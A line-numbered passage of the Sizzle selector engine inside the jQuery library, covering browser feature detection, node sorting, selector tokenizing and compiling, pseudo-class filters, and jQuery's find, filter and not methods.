958 }
959 if (!div.querySelectorAll(":enabled").length) {
960 rbuggyQSA.push(":enabled", ":disabled")
961 }
962 div.querySelectorAll("*,:x");
963 rbuggyQSA.push(",.*:")
964 })
965 }
966 if ((support.matchesSelector = rnative.test((matches = docElem.matches || docElem.webkitMatchesSelector || docElem.mozMatchesSelector || docElem.oMatchesSelector || docElem.msMatchesSelector)))) {
967 assert(function(div) {
968 support.disconnectedMatch = matches.call(div, "div");
969 matches.call(div, "[s!='']:x");
970 rbuggyMatches.push("!=", pseudos)
971 })
972 }
973 rbuggyQSA = rbuggyQSA.length && new RegExp(rbuggyQSA.join("|"));
974 rbuggyMatches = rbuggyMatches.length && new RegExp(rbuggyMatches.join("|"));
975 hasCompare = rnative.test(docElem.compareDocumentPosition);
976 contains = hasCompare || rnative.test(docElem.contains) ? function(a, b) {
977 var adown = a.nodeType === 9 ? a.documentElement : a,
978 bup = b && b.parentNode;
979 return a === bup || !!(bup && bup.nodeType === 1 && (adown.contains ? adown.contains(bup) : a.compareDocumentPosition && a.compareDocumentPosition(bup) & 16))
980 } : function(a, b) {
981 if (b) {
982 while ((b = b.parentNode)) {
983 if (b === a) {
984 return true
985 }
986 }
987 }
988 return false
989 };
990 sortOrder = hasCompare ? function(a, b) {
991 if (a === b) {
992 hasDuplicate = true;
993 return 0
994 }
995 var compare = !a.compareDocumentPosition - !b.compareDocumentPosition;
996 if (compare) {
997 return compare
998 }
999 compare = (a.ownerDocument || a) === (b.ownerDocument || b) ? a.compareDocumentPosition(b) : 1;
1000 if (compare & 1 || (!support.sortDetached && b.compareDocumentPosition(a) === compare)) {
1001 if (a === doc || a.ownerDocument === preferredDoc && contains(preferredDoc, a)) {
1002 return -1
1003 }
1004 if (b === doc || b.ownerDocument === preferredDoc && contains(preferredDoc, b)) {
1005 return 1
1006 }
1007 return sortInput ? (indexOf(sortInput, a) - indexOf(sortInput, b)) : 0
1008 }
1009 return compare & 4 ? -1 : 1
1010 } : function(a, b) {
1011 if (a === b) {
1012 hasDuplicate = true;
1013 return 0
1014 }
1015 var cur, i = 0,
1016 aup = a.parentNode,
1017 bup = b.parentNode,
1018 ap = [a],
1019 bp = [b];
1020 if (!aup || !bup) {
1021 return a === doc ? -1 : b === doc ? 1 : aup ? -1 : bup ? 1 : sortInput ? (indexOf(sortInput, a) - indexOf(sortInput, b)) : 0
1022 } else if (aup === bup) {
1023 return siblingCheck(a, b)
1024 }
1025 cur = a;
1026 while ((cur = cur.parentNode)) {
1027 ap.unshift(cur)
1028 }
1029 cur = b;
1030 while ((cur = cur.parentNode)) {
1031 bp.unshift(cur)
1032 }
1033 while (ap[i] === bp[i]) {
1034 i++
1035 }
1036 return i ? siblingCheck(ap[i], bp[i]) : ap[i] === preferredDoc ? -1 : bp[i] === preferredDoc ? 1 : 0
1037 };
1038 return doc
1039 };
1040 Sizzle.matches = function(expr, elements) {
1041 return Sizzle(expr, null, null, elements)
1042 };
1043 Sizzle.matchesSelector = function(elem, expr) {
1044 if ((elem.ownerDocument || elem) !== document) {
1045 setDocument(elem)
1046 }
1047 expr = expr.replace(rattributeQuotes, "='$1']");
1048 if (support.matchesSelector && documentIsHTML && (!rbuggyMatches || !rbuggyMatches.test(expr)) && (!rbuggyQSA || !rbuggyQSA.test(expr))) {
1049 try {
1050 var ret = matches.call(elem, expr);
1051 if (ret || support.disconnectedMatch || elem.document && elem.document.nodeType !== 11) {
1052 return ret
1053 }
1054 } catch (e) {}
1055 }
1056 return Sizzle(expr, document, null, [elem]).length > 0
1057 };
1058 Sizzle.contains = function(context, elem) {
1059 if ((context.ownerDocument || context) !== document) {
1060 setDocument(context)
1061 }
1062 return contains(context, elem)
1063 };
1064 Sizzle.attr = function(elem, name) {
1065 if ((elem.ownerDocument || elem) !== document) {
1066 setDocument(elem)
1067 }
1068 var fn = Expr.attrHandle[name.toLowerCase()],
1069 val = fn && hasOwn.call(Expr.attrHandle, name.toLowerCase()) ? fn(elem, name, !documentIsHTML) : undefined;
1070 return val !== undefined ? val : support.attributes || !documentIsHTML ? elem.getAttribute(name) : (val = elem.getAttributeNode(name)) && val.specified ? val.value : null
1071 };
1072 Sizzle.error = function(msg) {
1073 throw new Error("Syntax error, unrecognized expression: " + msg);
1074 };
1075 Sizzle.uniqueSort = function(results) {
1076 var elem, duplicates = [],
1077 j = 0,
1078 i = 0;
1079 hasDuplicate = !support.detectDuplicates;
1080 sortInput = !support.sortStable && results.slice(0);
1081 results.sort(sortOrder);
1082 if (hasDuplicate) {
1083 while ((elem = results[i++])) {
1084 if (elem === results[i]) {
1085 j = duplicates.push(i)
1086 }
1087 }
1088 while (j--) {
1089 results.splice(duplicates[j], 1)
1090 }
1091 }
1092 sortInput = null;
1093 return results
1094 };
1095 getText = Sizzle.getText = function(elem) {
1096 var node, ret = "",
1097 i = 0,
1098 nodeType = elem.nodeType;
1099 if (!nodeType) {
1100 while ((node = elem[i++])) {
1101 ret += getText(node)
1102 }
1103 } else if (nodeType === 1 || nodeType === 9 || nodeType === 11) {
1104 if (typeof elem.textContent === "string") {
1105 return elem.textContent
1106 } else {
1107 for (elem = elem.firstChild; elem; elem = elem.nextSibling) {
1108 ret += getText(elem)
1109 }
1110 }
1111 } else if (nodeType === 3 || nodeType === 4) {
1112 return elem.nodeValue
1113 }
1114 return ret
1115 };
1116 Expr = Sizzle.selectors = {
1117 cacheLength: 50,
1118 createPseudo: markFunction,
1119 match: matchExpr,
1120 attrHandle: {},
1121 find: {},
1122 relative: {
1123 ">": {
1124 dir: "parentNode",
1125 first: true
1126 },
1127 " ": {
1128 dir: "parentNode"
1129 },
1130 "+": {
1131 dir: "previousSibling",
1132 first: true
1133 },
1134 "~": {
1135 dir: "previousSibling"
1136 }
1137 },
1138 preFilter: {
1139 "ATTR": function(match) {
1140 match[1] = match[1].replace(runescape, funescape);
1141 match[3] = (match[3] || match[4] || match[5] || "").replace(runescape, funescape);
1142 if (match[2] === "~=") {
1143 match[3] = " " + match[3] + " "
1144 }
1145 return match.slice(0, 4)
1146 },
1147 "CHILD": function(match) {
1148 match[1] = match[1].toLowerCase();
1149 if (match[1].slice(0, 3) === "nth") {
1150 if (!match[3]) {
1151 Sizzle.error(match[0])
1152 }
1153 match[4] = +(match[4] ? match[5] + (match[6] || 1) : 2 * (match[3] === "even" || match[3] === "odd"));
1154 match[5] = +((match[7] + match[8]) || match[3] === "odd")
1155 } else if (match[3]) {
1156 Sizzle.error(match[0])
1157 }
1158 return match
1159 },
1160 "PSEUDO": function(match) {
1161 var excess, unquoted = !match[6] && match[2];
1162 if (matchExpr["CHILD"].test(match[0])) {
1163 return null
1164 }
1165 if (match[3]) {
1166 match[2] = match[4] || match[5] || ""
1167 } else if (unquoted && rpseudo.test(unquoted) && (excess = tokenize(unquoted, true)) && (excess = unquoted.indexOf(")", unquoted.length - excess) - unquoted.length)) {
1168 match[0] = match[0].slice(0, excess);
1169 match[2] = unquoted.slice(0, excess)
1170 }
1171 return match.slice(0, 3)
1172 }
1173 },
1174 filter: {
1175 "TAG": function(nodeNameSelector) {
1176 var nodeName = nodeNameSelector.replace(runescape, funescape).toLowerCase();
1177 return nodeNameSelector === "*" ? function() {
1178 return true
1179 } : function(elem) {
1180 return elem.nodeName && elem.nodeName.toLowerCase() === nodeName
1181 }
1182 },
1183 "CLASS": function(className) {
1184 var pattern = classCache[className + " "];
1185 return pattern || (pattern = new RegExp("(^|" + whitespace + ")" + className + "(" + whitespace + "|$)")) && classCache(className, function(elem) {
1186 return pattern.test(typeof elem.className === "string" && elem.className || typeof elem.getAttribute !== "undefined" && elem.getAttribute("class") || "")
1187 })
1188 },
1189 "ATTR": function(name, operator, check) {
1190 return function(elem) {
1191 var result = Sizzle.attr(elem, name);
1192 if (result == null) {
1193 return operator === "!="
1194 }
1195 if (!operator) {
1196 return true
1197 }
1198 result += "";
1199 return operator === "=" ? result === check : operator === "!=" ? result !== check : operator === "^=" ? check && result.indexOf(check) === 0 : operator === "*=" ? check && result.indexOf(check) > -1 : operator === "$=" ? check && result.slice(-check.length) === check : operator === "~=" ? (" " + result.replace(rwhitespace, " ") + " ").indexOf(check) > -1 : operator === "|=" ? result === check || result.slice(0, check.length + 1) === check + "-" : false
1200 }
1201 },
1202 "CHILD": function(type, what, argument, first, last) {
1203 var simple = type.slice(0, 3) !== "nth",
1204 forward = type.slice(-4) !== "last",
1205 ofType = what === "of-type";
1206 return first === 1 && last === 0 ? function(elem) {
1207 return !!elem.parentNode
1208 } : function(elem, context, xml) {
1209 var cache, outerCache, node, diff, nodeIndex, start, dir = simple !== forward ? "nextSibling" : "previousSibling",
1210 parent = elem.parentNode,
1211 name = ofType && elem.nodeName.toLowerCase(),
1212 useCache = !xml && !ofType;
1213 if (parent) {
1214 if (simple) {
1215 while (dir) {
1216 node = elem;
1217 while ((node = node[dir])) {
1218 if (ofType ? node.nodeName.toLowerCase() === name : node.nodeType === 1) {
1219 return false
1220 }
1221 }
1222
1223 start = dir = type === "only" && !start && "nextSibling"
1224 }
1225 return true
1226 }
1227 start = [forward ? parent.firstChild : parent.lastChild];
1228 if (forward && useCache) {
1229 outerCache = parent[expando] || (parent[expando] = {});
1230 cache = outerCache[type] || [];
1231 nodeIndex = cache[0] === dirruns && cache[1];
1232 diff = cache[0] === dirruns && cache[2];
1233 node = nodeIndex && parent.childNodes[nodeIndex];
1234 while ((node = ++nodeIndex && node && node[dir] || (diff = nodeIndex = 0) || start.pop())) {
1235 if (node.nodeType === 1 && ++diff && node === elem) {
1236 outerCache[type] = [dirruns, nodeIndex, diff];
1237 break
1238 }
1239 }
1240 } else if (useCache && (cache = (elem[expando] || (elem[expando] = {}))[type]) && cache[0] === dirruns) {
1241 diff = cache[1]
1242 } else {
1243 while ((node = ++nodeIndex && node && node[dir] || (diff = nodeIndex = 0) || start.pop())) {
1244 if ((ofType ? node.nodeName.toLowerCase() === name : node.nodeType === 1) && ++diff) {
1245 if (useCache) {
1246 (node[expando] || (node[expando] = {}))[type] = [dirruns, diff]
1247 }
1248 if (node === elem) {
1249 break
1250 }
1251 }
1252 }
1253 }
1254 diff -= last;
1255 return diff === first || (diff % first === 0 && diff / first >= 0)
1256 }
1257 }
1258 },
1259 "PSEUDO": function(pseudo, argument) {
1260 var args, fn = Expr.pseudos[pseudo] || Expr.setFilters[pseudo.toLowerCase()] || Sizzle.error("unsupported pseudo: " + pseudo);
1261 if (fn[expando]) {
1262 return fn(argument)
1263 }
1264 if (fn.length > 1) {
1265 args = [pseudo, pseudo, "", argument];
1266 return Expr.setFilters.hasOwnProperty(pseudo.toLowerCase()) ? markFunction(function(seed, matches) {
1267 var idx, matched = fn(seed, argument),
1268 i = matched.length;
1269 while (i--) {
1270 idx = indexOf(seed, matched[i]);
1271 seed[idx] = !(matches[idx] = matched[i])
1272 }
1273 }) : function(elem) {
1274 return fn(elem, 0, args)
1275 }
1276 }
1277 return fn
1278 }
1279 },
1280 pseudos: {
1281 "not": markFunction(function(selector) {
1282 var input = [],
1283 results = [],
1284 matcher = compile(selector.replace(rtrim, "$1"));
1285 return matcher[expando] ? markFunction(function(seed, matches, context, xml) {
1286 var elem, unmatched = matcher(seed, null, xml, []),
1287 i = seed.length;
1288 while (i--) {
1289 if ((elem = unmatched[i])) {
1290 seed[i] = !(matches[i] = elem)
1291 }
1292 }
1293 }) : function(elem, context, xml) {
1294 input[0] = elem;
1295 matcher(input, null, xml, results);
1296 input[0] = null;
1297 return !results.pop()
1298 }
1299 }),
1300 "has": markFunction(function(selector) {
1301 return function(elem) {
1302 return Sizzle(selector, elem).length > 0
1303 }
1304 }),
1305 "contains": markFunction(function(text) {
1306 text = text.replace(runescape, funescape);
1307 return function(elem) {
1308 return (elem.textContent || elem.innerText || getText(elem)).indexOf(text) > -1
1309 }
1310 }),
1311 "lang": markFunction(function(lang) {
1312 if (!ridentifier.test(lang || "")) {
1313 Sizzle.error("unsupported lang: " + lang)
1314 }
1315 lang = lang.replace(runescape, funescape).toLowerCase();
1316 return function(elem) {
1317 var elemLang;
1318 do {
1319 if ((elemLang = documentIsHTML ? elem.lang : elem.getAttribute("xml:lang") || elem.getAttribute("lang"))) {
1320 elemLang = elemLang.toLowerCase();
1321 return elemLang === lang || elemLang.indexOf(lang + "-") === 0
1322 }
1323 } while ((elem = elem.parentNode) && elem.nodeType === 1);
1324 return false
1325 }
1326 }),
1327 "target": function(elem) {
1328 var hash = window.location && window.location.hash;
1329 return hash && hash.slice(1) === elem.id
1330 },
1331 "root": function(elem) {
1332 return elem === docElem
1333 },
1334 "focus": function(elem) {
1335 return elem === document.activeElement && (!document.hasFocus || document.hasFocus()) && !!(elem.type || elem.href || ~elem.tabIndex)
1336 },
1337 "enabled": function(elem) {
1338 return elem.disabled === false
1339 },
1340 "disabled": function(elem) {
1341 return elem.disabled === true
1342 },
1343 "checked": function(elem) {
1344 var nodeName = elem.nodeName.toLowerCase();
1345 return (nodeName === "input" && !!elem.checked) || (nodeName === "option" && !!elem.selected)
1346 },
1347 "selected": function(elem) {
1348 if (elem.parentNode) {
1349 elem.parentNode.selectedIndex
1350 }
1351 return elem.selected === true
1352 },
1353 "empty": function(elem) {
1354 for (elem = elem.firstChild; elem; elem = elem.nextSibling) {
1355 if (elem.nodeType < 6) {
1356 return false
1357 }
1358 }
1359 return true
1360 },
1361 "parent": function(elem) {
1362 return !Expr.pseudos["empty"](elem)
1363 },
1364 "header": function(elem) {
1365 return rheader.test(elem.nodeName)
1366 },
1367 "input": function(elem) {
1368 return rinputs.test(elem.nodeName)
1369 },
1370 "button": function(elem) {
1371 var name = elem.nodeName.toLowerCase();
1372 return name === "input" && elem.type === "button" || name === "button"
1373 },
1374 "text": function(elem) {
1375 var attr;
1376 return elem.nodeName.toLowerCase() === "input" && elem.type === "text" && ((attr = elem.getAttribute("type")) == null || attr.toLowerCase() === "text")
1377 },
1378 "first": createPositionalPseudo(function() {
1379 return [0]
1380 }),
1381 "last": createPositionalPseudo(function(matchIndexes, length) {
1382 return [length - 1]
1383 }),
1384 "eq": createPositionalPseudo(function(matchIndexes, length, argument) {
1385 return [argument < 0 ? argument + length : argument]
1386 }),
1387 "even": createPositionalPseudo(function(matchIndexes, length) {
1388 var i = 0;
1389 for (; i < length; i += 2) {
1390 matchIndexes.push(i)
1391 }
1392 return matchIndexes
1393 }),
1394 "odd": createPositionalPseudo(function(matchIndexes, length) {
1395 var i = 1;
1396 for (; i < length; i += 2) {
1397 matchIndexes.push(i)
1398 }
1399 return matchIndexes
1400 }),
1401 "lt": createPositionalPseudo(function(matchIndexes, length, argument) {
1402 var i = argument < 0 ? argument + length : argument;
1403 for (; --i >= 0;) {
1404 matchIndexes.push(i)
1405 }
1406 return matchIndexes
1407 }),
1408 "gt": createPositionalPseudo(function(matchIndexes, length, argument) {
1409 var i = argument < 0 ? argument + length : argument;
1410 for (; ++i < length;) {
1411 matchIndexes.push(i)
1412 }
1413 return matchIndexes
1414 })
1415 }
1416 };
1417 Expr.pseudos["nth"] = Expr.pseudos["eq"];
1418 for (i in {
1419 radio: true,
1420 checkbox: true,
1421 file: true,
1422 password: true,
1423 image: true
1424 }) {
1425 Expr.pseudos[i] = createInputPseudo(i)
1426 }
1427 for (i in {
1428 submit: true,
1429 reset: true
1430 }) {
1431 Expr.pseudos[i] = createButtonPseudo(i)
1432 }
1433
1434 function setFilters() {}
1435 setFilters.prototype = Expr.filters = Expr.pseudos;
1436 Expr.setFilters = new setFilters();
1437 tokenize = Sizzle.tokenize = function(selector, parseOnly) {
1438 var matched, match, tokens, type, soFar, groups, preFilters, cached = tokenCache[selector + " "];
1439 if (cached) {
1440 return parseOnly ? 0 : cached.slice(0)
1441 }
1442 soFar = selector;
1443 groups = [];
1444 preFilters = Expr.preFilter;
1445 while (soFar) {
1446 if (!matched || (match = rcomma.exec(soFar))) {
1447 if (match) {
1448 soFar = soFar.slice(match[0].length) || soFar
1449 }
1450 groups.push((tokens = []))
1451 }
1452 matched = false;
1453 if ((match = rcombinators.exec(soFar))) {
1454 matched = match.shift();
1455 tokens.push({
1456 value: matched,
1457 type: match[0].replace(rtrim, " ")
1458 });
1459 soFar = soFar.slice(matched.length)
1460 }
1461 for (type in Expr.filter) {
1462 if ((match = matchExpr[type].exec(soFar)) && (!preFilters[type] || (match = preFilters[type](match)))) {
1463 matched = match.shift();
1464 tokens.push({
1465 value: matched,
1466 type: type,
1467 matches: match
1468 });
1469 soFar = soFar.slice(matched.length)
1470 }
1471 }
1472 if (!matched) {
1473 break
1474 }
1475 }
1476 return parseOnly ? soFar.length : soFar ? Sizzle.error(selector) : tokenCache(selector, groups).slice(0)
1477 };
1478
1479 function toSelector(tokens) {
1480 var i = 0,
1481 len = tokens.length,
1482 selector = "";
1483 for (; i < len; i++) {
1484 selector += tokens[i].value
1485 }
1486 return selector
1487 }
1488
1489 function addCombinator(matcher, combinator, base) {
1490 var dir = combinator.dir,
1491 checkNonElements = base && dir === "parentNode",
1492 doneName = done++;
1493 return combinator.first ? function(elem, context, xml) {
1494 while ((elem = elem[dir])) {
1495 if (elem.nodeType === 1 || checkNonElements) {
1496 return matcher(elem, context, xml)
1497 }
1498 }
1499 } : function(elem, context, xml) {
1500 var oldCache, outerCache, newCache = [dirruns, doneName];
1501 if (xml) {
1502 while ((elem = elem[dir])) {
1503 if (elem.nodeType === 1 || checkNonElements) {
1504 if (matcher(elem, context, xml)) {
1505 return true
1506 }
1507 }
1508 }
1509 } else {
1510 while ((elem = elem[dir])) {
1511 if (elem.nodeType === 1 || checkNonElements) {
1512 outerCache = elem[expando] || (elem[expando] = {});
1513 if ((oldCache = outerCache[dir]) && oldCache[0] === dirruns && oldCache[1] === doneName) {
1514 return (newCache[2] = oldCache[2])
1515 } else {
1516 outerCache[dir] = newCache;
1517 if ((newCache[2] = matcher(elem, context, xml))) {
1518 return true
1519 }
1520 }
1521 }
1522 }
1523 }
1524 }
1525 }
1526
1527 function elementMatcher(matchers) {
1528 return matchers.length > 1 ? function(elem, context, xml) {
1529 var i = matchers.length;
1530 while (i--) {
1531 if (!matchers[i](elem, context, xml)) {
1532 return false
1533 }
1534 }
1535 return true
1536 } : matchers[0]
1537 }
1538
1539 function multipleContexts(selector, contexts, results) {
1540 var i = 0,
1541 len = contexts.length;
1542 for (; i < len; i++) {
1543 Sizzle(selector, contexts[i], results)
1544 }
1545 return results
1546 }
1547
1548 function condense(unmatched, map, filter, context, xml) {
1549 var elem, newUnmatched = [],
1550 i = 0,
1551 len = unmatched.length,
1552 mapped = map != null;
1553 for (; i < len; i++) {
1554 if ((elem = unmatched[i])) {
1555 if (!filter || filter(elem, context, xml)) {
1556 newUnmatched.push(elem);
1557 if (mapped) {
1558 map.push(i)
1559 }
1560 }
1561 }
1562 }
1563 return newUnmatched
1564 }
1565
1566 function setMatcher(preFilter, selector, matcher, postFilter, postFinder, postSelector) {
1567 if (postFilter && !postFilter[expando]) {
1568 postFilter = setMatcher(postFilter)
1569 }
1570 if (postFinder && !postFinder[expando]) {
1571 postFinder = setMatcher(postFinder, postSelector)
1572 }
1573 return markFunction(function(seed, results, context, xml) {
1574 var temp, i, elem, preMap = [],
1575 postMap = [],
1576 preexisting = results.length,
1577 elems = seed || multipleContexts(selector || "*", context.nodeType ? [context] : context, []),
1578 matcherIn = preFilter && (seed || !selector) ? condense(elems, preMap, preFilter, context, xml) : elems,
1579 matcherOut = matcher ? postFinder || (seed ? preFilter : preexisting || postFilter) ? [] : results : matcherIn;
1580 if (matcher) {
1581 matcher(matcherIn, matcherOut, context, xml)
1582 }
1583 if (postFilter) {
1584 temp = condense(matcherOut, postMap);
1585 postFilter(temp, [], context, xml);
1586 i = temp.length;
1587 while (i--) {
1588 if ((elem = temp[i])) {
1589 matcherOut[postMap[i]] = !(matcherIn[postMap[i]] = elem)
1590 }
1591 }
1592 }
1593 if (seed) {
1594 if (postFinder || preFilter) {
1595 if (postFinder) {
1596 temp = [];
1597 i = matcherOut.length;
1598 while (i--) {
1599 if ((elem = matcherOut[i])) {
1600 temp.push((matcherIn[i] = elem))
1601 }
1602 }
1603 postFinder(null, (matcherOut = []), temp, xml)
1604 }
1605 i = matcherOut.length;
1606 while (i--) {
1607 if ((elem = matcherOut[i]) && (temp = postFinder ? indexOf(seed, elem) : preMap[i]) > -1) {
1608 seed[temp] = !(results[temp] = elem)
1609 }
1610 }
1611 }
1612 } else {
1613 matcherOut = condense(matcherOut === results ? matcherOut.splice(preexisting, matcherOut.length) : matcherOut);
1614 if (postFinder) {
1615 postFinder(null, results, matcherOut, xml)
1616 } else {
1617 push.apply(results, matcherOut)
1618 }
1619 }
1620 })
1621 }
1622
1623 function matcherFromTokens(tokens) {
1624 var checkContext, matcher, j, len = tokens.length,
1625 leadingRelative = Expr.relative[tokens[0].type],
1626 implicitRelative = leadingRelative || Expr.relative[" "],
1627 i = leadingRelative ? 1 : 0,
1628 matchContext = addCombinator(function(elem) {
1629 return elem === checkContext
1630 }, implicitRelative, true),
1631 matchAnyContext = addCombinator(function(elem) {
1632 return indexOf(checkContext, elem) > -1
1633 }, implicitRelative, true),
1634 matchers = [function(elem, context, xml) {
1635 var ret = (!leadingRelative && (xml || context !== outermostContext)) || ((checkContext = context).nodeType ? matchContext(elem, context, xml) : matchAnyContext(elem, context, xml));
1636 checkContext = null;
1637 return ret
1638 }];
1639 for (; i < len; i++) {
1640 if ((matcher = Expr.relative[tokens[i].type])) {
1641 matchers = [addCombinator(elementMatcher(matchers), matcher)]
1642 } else {
1643 matcher = Expr.filter[tokens[i].type].apply(null, tokens[i].matches);
1644 if (matcher[expando]) {
1645 j = ++i;
1646 for (; j < len; j++) {
1647 if (Expr.relative[tokens[j].type]) {
1648 break
1649 }
1650 }
1651 return setMatcher(i > 1 && elementMatcher(matchers), i > 1 && toSelector(tokens.slice(0, i - 1).concat({
1652 value: tokens[i - 2].type === " " ? "*" : ""
1653 })).replace(rtrim, "$1"), matcher, i < j && matcherFromTokens(tokens.slice(i, j)), j < len && matcherFromTokens((tokens = tokens.slice(j))), j < len && toSelector(tokens))
1654 }
1655 matchers.push(matcher)
1656 }
1657 }
1658 return elementMatcher(matchers)
1659 }
1660
1661 function matcherFromGroupMatchers(elementMatchers, setMatchers) {
1662 var bySet = setMatchers.length > 0,
1663 byElement = elementMatchers.length > 0,
1664 superMatcher = function(seed, context, xml, results, outermost) {
1665 var elem, j, matcher, matchedCount = 0,
1666 i = "0",
1667 unmatched = seed && [],
1668 setMatched = [],
1669 contextBackup = outermostContext,
1670 elems = seed || byElement && Expr.find["TAG"]("*", outermost),
1671 dirrunsUnique = (dirruns += contextBackup == null ? 1 : Math.random() || 0.1),
1672 len = elems.length;
1673 if (outermost) {
1674 outermostContext = context !== document && context
1675 }
1676 for (; i !== len && (elem = elems[i]) != null; i++) {
1677 if (byElement && elem) {
1678 j = 0;
1679 while ((matcher = elementMatchers[j++])) {
1680 if (matcher(elem, context, xml)) {
1681 results.push(elem);
1682 break
1683 }
1684 }
1685 if (outermost) {
1686 dirruns = dirrunsUnique
1687 }
1688 }
1689 if (bySet) {
1690 if ((elem = !matcher && elem)) {
1691 matchedCount--
1692 }
1693 if (seed) {
1694 unmatched.push(elem)
1695 }
1696 }
1697 }
1698 matchedCount += i;
1699 if (bySet && i !== matchedCount) {
1700 j = 0;
1701 while ((matcher = setMatchers[j++])) {
1702 matcher(unmatched, setMatched, context, xml)
1703 }
1704 if (seed) {
1705 if (matchedCount > 0) {
1706 while (i--) {
1707 if (!(unmatched[i] || setMatched[i])) {
1708 setMatched[i] = pop.call(results)
1709 }
1710 }
1711 }
1712 setMatched = condense(setMatched)
1713 }
1714 push.apply(results, setMatched);
1715 if (outermost && !seed && setMatched.length > 0 && (matchedCount + setMatchers.length) > 1) {
1716 Sizzle.uniqueSort(results)
1717 }
1718 }
1719 if (outermost) {
1720 dirruns = dirrunsUnique;
1721 outermostContext = contextBackup
1722 }
1723 return unmatched
1724 };
1725 return bySet ? markFunction(superMatcher) : superMatcher
1726 }
1727 compile = Sizzle.compile = function(selector, match) {
1728 var i, setMatchers = [],
1729 elementMatchers = [],
1730 cached = compilerCache[selector + " "];
1731 if (!cached) {
1732 if (!match) {
1733 match = tokenize(selector)
1734 }
1735 i = match.length;
1736 while (i--) {
1737 cached = matcherFromTokens(match[i]);
1738 if (cached[expando]) {
1739 setMatchers.push(cached)
1740 } else {
1741 elementMatchers.push(cached)
1742 }
1743 }
1744 cached = compilerCache(selector, matcherFromGroupMatchers(elementMatchers, setMatchers));
1745 cached.selector = selector
1746 }
1747 return cached
1748 };
1749 select = Sizzle.select = function(selector, context, results, seed) {
1750 var i, tokens, token, type, find, compiled = typeof selector === "function" && selector,
1751 match = !seed && tokenize((selector = compiled.selector || selector));
1752 results = results || [];
1753 if (match.length === 1) {
1754 tokens = match[0] = match[0].slice(0);
1755 if (tokens.length > 2 && (token = tokens[0]).type === "ID" && support.getById && context.nodeType === 9 && documentIsHTML && Expr.relative[tokens[1].type]) {
1756 context = (Expr.find["ID"](token.matches[0].replace(runescape, funescape), context) || [])[0];
1757 if (!context) {
1758 return results
1759 } else if (compiled) {
1760 context = context.parentNode
1761 }
1762 selector = selector.slice(tokens.shift().value.length)
1763 }
1764 i = matchExpr["needsContext"].test(selector) ? 0 : tokens.length;
1765 while (i--) {
1766 token = tokens[i];
1767 if (Expr.relative[(type = token.type)]) {
1768 break
1769 }
1770 if ((find = Expr.find[type])) {
1771 if ((seed = find(token.matches[0].replace(runescape, funescape), rsibling.test(tokens[0].type) && testContext(context.parentNode) || context))) {
1772 tokens.splice(i, 1);
1773 selector = seed.length && toSelector(tokens);
1774 if (!selector) {
1775 push.apply(results, seed);
1776 return results
1777 }
1778 break
1779 }
1780 }
1781 }
1782 }(compiled || compile(selector, match))(seed, context, !documentIsHTML, results, rsibling.test(selector) && testContext(context.parentNode) || context);
1783 return results
1784 };
1785 support.sortStable = expando.split("").sort(sortOrder).join("") === expando;
1786 support.detectDuplicates = !!hasDuplicate;
1787 setDocument();
1788 support.sortDetached = assert(function(div1) {
1789 return div1.compareDocumentPosition(document.createElement("div")) & 1
1790 });
1791 if (!assert(function(div) {
1792 div.innerHTML = "<a href='#'></a>";
1793 return div.firstChild.getAttribute("href") === "#"
1794 })) {
1795 addHandle("type|href|height|width", function(elem, name, isXML) {
1796 if (!isXML) {
1797 return elem.getAttribute(name, name.toLowerCase() === "type" ? 1 : 2)
1798 }
1799 })
1800 }
1801 if (!support.attributes || !assert(function(div) {
1802 div.innerHTML = "<input/>";
1803 div.firstChild.setAttribute("value", "");
1804 return div.firstChild.getAttribute("value") === ""
1805 })) {
1806 addHandle("value", function(elem, name, isXML) {
1807 if (!isXML && elem.nodeName.toLowerCase() === "input") {
1808 return elem.defaultValue
1809 }
1810 })
1811 }
1812 if (!assert(function(div) {
1813 return div.getAttribute("disabled") == null
1814 })) {
1815 addHandle(booleans, function(elem, name, isXML) {
1816 var val;
1817 if (!isXML) {
1818 return elem[name] === true ? name.toLowerCase() : (val = elem.getAttributeNode(name)) && val.specified ? val.value : null
1819 }
1820 })
1821 }
1822 return Sizzle
1823 })(window);
1824 jQuery.find = Sizzle;
1825 jQuery.expr = Sizzle.selectors;
1826 jQuery.expr[":"] = jQuery.expr.pseudos;
1827 jQuery.unique = Sizzle.uniqueSort;
1828 jQuery.text = Sizzle.getText;
1829 jQuery.isXMLDoc = Sizzle.isXML;
1830 jQuery.contains = Sizzle.contains;
1831 var rneedsContext = jQuery.expr.match.needsContext;
1832 var rsingleTag = (/^<(\w+)\s*\/?>(?:<\/\1>|)$/);
1833 var risSimple = /^.[^:#\[\.,]*$/;
1834
1835 function winnow(elements, qualifier, not) {
1836 if (jQuery.isFunction(qualifier)) {
1837 return jQuery.grep(elements, function(elem, i) {
1838 return !!qualifier.call(elem, i, elem) !== not
1839 })
1840 }
1841 if (qualifier.nodeType) {
1842 return jQuery.grep(elements, function(elem) {
1843 return (elem === qualifier) !== not
1844 })
1845 }
1846 if (typeof qualifier === "string") {
1847 if (risSimple.test(qualifier)) {
1848 return jQuery.filter(qualifier, elements, not)
1849 }
1850 qualifier = jQuery.filter(qualifier, elements)
1851 }
1852 return jQuery.grep(elements, function(elem) {
1853 return (jQuery.inArray(elem, qualifier) >= 0) !== not
1854 })
1855 }
1856 jQuery.filter = function(expr, elems, not) {
1857 var elem = elems[0];
1858 if (not) {
1859 expr = ":not(" + expr + ")"
1860 }
1861 return elems.length === 1 && elem.nodeType === 1 ? jQuery.find.matchesSelector(elem, expr) ? [elem] : [] : jQuery.find.matches(expr, jQuery.grep(elems, function(elem) {
1862 return elem.nodeType === 1
1863 }))
1864 };
1865 jQuery.fn.extend({
1866 find: function(selector) {
1867 var i, ret = [],
1868 self = this,
1869 len = self.length;
1870 if (typeof selector !== "string") {
1871 return this.pushStack(jQuery(selector).filter(function() {
1872 for (i = 0; i < len; i++) {
1873 if (jQuery.contains(self[i], this)) {
1874 return true
1875 }
1876 }
1877 }))
1878 }
1879 for (i = 0; i < len; i++) {
1880 jQuery.find(selector, self[i], ret)
1881 }
1882 ret = this.pushStack(len > 1 ? jQuery.unique(ret) : ret);
1883 ret.selector = this.selector ? this.selector + " " + selector : selector;
1884 return ret
1885 },
1886 filter: function(selector) {
1887 return this.pushStack(winnow(this, selector || [], false))
1888 },
1889 not: function(selector) {
1890 return this.pushStack(winnow(this, selector || [], true))
1891 },
1892 is: function(selector) {
1893 return !!winnow(this, typeof selector === "string" && rneedsContext.test(selector) ? jQuery(selector) : selector || [], false).length
1894 }
1895 });
1896 var rootjQuery, document = window.document,
1897 rquickExpr = /^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]*))$/,
1898 init = jQuery.fn.init = function(selector, context) {
1899 var match, elem;
